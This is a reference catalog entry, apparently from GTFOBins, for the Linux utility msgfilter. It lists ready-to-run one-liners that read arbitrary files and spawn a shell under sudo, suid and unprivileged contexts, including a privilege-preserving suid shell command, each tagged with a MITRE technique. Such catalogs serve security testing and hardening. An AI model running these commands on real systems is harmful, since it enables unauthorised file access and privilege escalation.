CatalogGTFOBins

GTFO · Tool

msgfilter

6 techniquesLinuxGTFOBinsGPL-3.0

file-read

File ReadPrivilege EscalationLinux

The file is parsed and displayed as a Java `.properties` file. `/bin/cat` can be replaced with any other *filter* program.

msgfilter -P -i /path/to/input-file /bin/cat
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege EscalationLinux

The file is parsed and displayed as a Java `.properties` file. `/bin/cat` can be replaced with any other *filter* program.

msgfilter -P -i /path/to/input-file /bin/cat
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
file-read
MITRE
T1005

file-read

File ReadLinux

The file is parsed and displayed as a Java `.properties` file. `/bin/cat` can be replaced with any other *filter* program.

msgfilter -P -i /path/to/input-file /bin/cat
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
file-read
MITRE
T1005

shell

ExecutionPrivilege EscalationLinux

The `kill` command is needed to spawn the shell only once. Instead of readinf from standard input, it can read files passed via the `-i` option.

echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux

The `kill` command is needed to spawn the shell only once. Instead of readinf from standard input, it can read files passed via the `-i` option.

echo x | msgfilter -P /bin/sh -p -c '/bin/sh -p 0<&2 1>&2; kill $PPID'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059

shell

ExecutionLinux

The `kill` command is needed to spawn the shell only once. Instead of readinf from standard input, it can read files passed via the `-i` option.

echo x | msgfilter -P /bin/sh -c '/bin/sh 0<&2 1>&2; kill $PPID'
Evidence
Upstream reference
Environment
Local host
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
unprivileged
Native
shell
MITRE
T1059